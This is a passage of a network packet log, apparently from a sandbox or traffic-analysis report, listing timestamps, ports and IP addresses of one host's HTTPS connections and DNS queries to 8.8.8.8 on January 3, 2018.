Jan 3, 2018 13:36:11.777332067 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:11.868350983 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:11.868514061 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:11.887528896 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:11.887562990 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:11.957132101 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:11.957174063 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:11.957184076 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:11.957355976 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:12.119406939 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:12.119543076 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:12.140959978 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:12.140990019 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:12.465984106 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:12.466178894 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:12.484649897 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:12.484694958 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:13.012264013 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:13.015752077 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:13.028063059 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:13.028084993 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:13.048285007 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:13.048692942 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:13.056725979 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:13.056756020 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:13.556715965 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:13.559804916 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:13.565206051 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:13.565236092 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:13.632734060 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:13.632894993 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:13.974795103 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:13.974926949 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:14.870383024 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:14.870409012 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:15.519546986 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:15.519620895 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:15.519761086 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:15.522032022 MEZ	49174	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:36:15.522068024 MEZ	443	49174	136.243.89.209	192.168.1.81
Jan 3, 2018 13:36:15.902738094 MEZ	53199	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:16.291552067 MEZ	53	53199	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:16.293572903 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:16.293617964 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:16.295701027 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:16.298165083 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:16.298197031 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:16.734301090 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:16.734313011 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:16.734317064 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:16.734450102 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:16.801379919 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:16.801497936 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:16.818886042 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:16.818922997 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:16.872411966 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:16.872457027 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:17.286168098 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:17.286519051 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:17.293252945 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:17.293284893 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:17.373881102 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:17.373898983 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:17.374169111 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:17.376014948 MEZ	49175	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:36:17.376080036 MEZ	443	49175	136.243.91.46	192.168.1.81
Jan 3, 2018 13:36:17.665378094 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:17.665585041 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:17.667136908 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:17.667169094 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:17.962146044 MEZ	54134	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:18.673702002 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:18.674004078 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:18.722356081 MEZ	53	54134	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:18.724718094 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:18.724773884 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:18.725636959 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:18.842744112 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:18.842780113 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:19.419842005 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:19.419881105 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:19.419898033 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:19.420025110 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:19.490957022 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:19.491070986 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:19.508131981 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:19.508169889 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:19.731086969 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:19.731120110 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:20.162240028 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:20.162483931 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:20.168575048 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:20.168610096 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:20.960436106 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:20.960493088 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:20.960625887 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:20.960751057 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:20.960841894 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:20.963567019 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:20.963609934 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:20.972661018 MEZ	49176	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:36:20.972697973 MEZ	443	49176	94.130.128.80	192.168.1.81
Jan 3, 2018 13:36:21.474109888 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:21.474292040 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:21.849881887 MEZ	59582	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:36:22.211663008 MEZ	53	59582	8.8.8.8	192.168.1.81
Jan 3, 2018 13:36:22.213387966 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:22.213424921 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:22.213483095 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:22.217381001 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:22.217412949 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:22.786273956 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:22.786298990 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:22.786441088 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:22.850301981 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:22.850332975 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:22.850434065 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:22.912580013 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:22.915829897 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:22.960875034 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:22.960910082 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:23.545650959 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:23.545836926 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:23.554023027 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:23.554048061 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:24.153127909 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:24.153259993 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:24.257524014 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:24.257663012 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:24.258882046 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:24.258904934 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:24.802109003 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:24.802330017 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:54.466352940 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:54.466384888 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:36:55.666141033 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:36:55.666193962 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:10.179558992 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:37:10.179610968 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:10.788894892 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:10.788950920 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:10.789109945 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:37:10.792747021 MEZ	49177	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:37:10.792778015 MEZ	443	49177	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:11.468214989 MEZ	49168	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:37:12.191389084 MEZ	53	49168	8.8.8.8	192.168.1.81
Jan 3, 2018 13:37:12.192863941 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:12.192918062 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:12.193007946 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:12.193617105 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:12.193645954 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:15.851834059 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:15.851861000 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:15.851874113 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:15.851933002 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:15.851953030 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:15.854005098 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:15.869926929 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:15.869963884 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:16.405883074 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:16.406048059 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:16.412090063 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:16.412121058 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:16.806325912 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:16.806502104 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:16.827430010 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:16.827471018 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:17.375092983 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:17.375246048 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:20.329924107 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:37:20.329951048 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:20.685981989 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:20.686043024 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:20.686150074 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:37:20.744327068 MEZ	49178	443	192.168.1.81	94.130.103.71
Jan 3, 2018 13:37:20.744366884 MEZ	443	49178	94.130.103.71	192.168.1.81
Jan 3, 2018 13:37:21.192111015 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:21.192193031 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:21.192297935 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:21.258384943 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:21.258441925 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:21.785681009 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:21.785713911 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:21.785722971 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:21.785878897 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:21.851695061 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:21.851910114 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:21.872272968 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:21.872304916 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:22.412817001 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:22.412940025 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:22.423310995 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:22.423332930 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:22.790607929 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:22.790752888 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:22.794922113 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:22.794939041 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:23.254544020 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:23.254700899 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:30.401700020 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:30.401747942 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:30.402770996 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:30.402951956 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:30.403903008 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:30.404020071 MEZ	49172	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:31.253288984 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:31.253330946 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:31.253463984 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:31.340075016 MEZ	49181	443	192.168.1.81	94.130.128.80
Jan 3, 2018 13:37:31.340112925 MEZ	443	49181	94.130.128.80	192.168.1.81
Jan 3, 2018 13:37:32.121541977 MEZ	63129	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:37:33.119100094 MEZ	63129	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:37:33.426250935 MEZ	53	63129	8.8.8.8	192.168.1.81
Jan 3, 2018 13:37:33.458884954 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:33.458928108 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:33.462785006 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:33.463715076 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:33.463741064 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:34.036739111 MEZ	53	63129	8.8.8.8	192.168.1.81
Jan 3, 2018 13:37:34.757678986 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:34.757705927 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:34.757713079 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:34.757936954 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:34.757958889 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:34.759949923 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:34.776918888 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:34.776951075 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:35.304563046 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:35.304708004 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:35.310374975 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:35.310398102 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:35.803888083 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:35.804013014 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:35.824918032 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:35.824939013 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:36.690340042 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:36.690500021 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:37:42.273355961 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:37:42.273596048 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:37:42.338476896 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:42.338601112 MEZ	49173	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:42.339313030 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:42.339371920 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:37:42.431047916 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:37:42.431196928 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:38:05.463996887 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:38:05.464124918 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:38:11.310350895 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:38:11.310405970 MEZ	443	49182	136.243.91.46	192.168.1.81
Jan 3, 2018 13:38:14.354911089 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:38:14.354944944 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:38:19.402097940 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:38:19.402137041 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:38:19.688515902 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:38:19.688534021 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:38:19.688743114 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:38:19.776777029 MEZ	49180	443	192.168.1.81	94.130.129.247
Jan 3, 2018 13:38:19.776842117 MEZ	443	49180	94.130.129.247	192.168.1.81
Jan 3, 2018 13:38:21.449829102 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:21.449879885 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:21.450006008 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:21.450536966 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:21.450560093 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:21.973402023 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:21.973439932 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:21.973452091 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:21.973639011 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:22.145329952 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:22.145356894 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:22.145468950 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:22.164165020 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:22.164195061 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:22.540043116 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:22.540189981 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:22.544799089 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:22.544819117 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:23.433074951 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:23.433407068 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:23.435480118 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:23.435497999 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:23.927695036 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:23.927880049 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:24.419250965 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:24.419394016 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:29.901416063 MEZ	49183	443	192.168.1.81	136.243.89.209
Jan 3, 2018 13:38:29.901452065 MEZ	443	49183	136.243.89.209	192.168.1.81
Jan 3, 2018 13:38:43.376360893 MEZ	49182	443	192.168.1.81	136.243.91.46
Jan 3, 2018 13:38:43.376384020 MEZ	443	49182	136.243.91.46	192.168.1.81

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2018 13:35:38.851198912 MEZ	63700	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:39.837897062 MEZ	63700	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:40.742520094 MEZ	53	63700	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:40.742577076 MEZ	53	63700	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:43.173144102 MEZ	54244	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:43.584769964 MEZ	53	54244	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:44.825195074 MEZ	60413	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:45.822861910 MEZ	60413	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:45.897387981 MEZ	53	60413	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:45.921220064 MEZ	49912	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:46.720149994 MEZ	53	60413	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:46.802314997 MEZ	53	49912	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:47.110796928 MEZ	62993	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:48.020035982 MEZ	53	62993	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:48.033242941 MEZ	58780	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:48.666445971 MEZ	53	58780	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:48.863682985 MEZ	54934	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:49.440798044 MEZ	53	54934	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:49.472912073 MEZ	62845	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:49.946366072 MEZ	53	62845	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:50.450830936 MEZ	57200	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:51.056837082 MEZ	53	57200	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:51.123518944 MEZ	53499	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:51.507478952 MEZ	53	53499	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:51.937578917 MEZ	62060	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:52.716613054 MEZ	53	62060	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:52.744200945 MEZ	51380	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:52.830571890 MEZ	55175	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:53.231797934 MEZ	53	51380	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:53.325555086 MEZ	53	55175	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:53.333937883 MEZ	65476	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:53.815157890 MEZ	53	65476	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:54.038619041 MEZ	52882	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.455413103 MEZ	49433	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.508843899 MEZ	53	52882	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:54.521414995 MEZ	49917	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.862912893 MEZ	53	49433	8.8.8.8	192.168.1.81
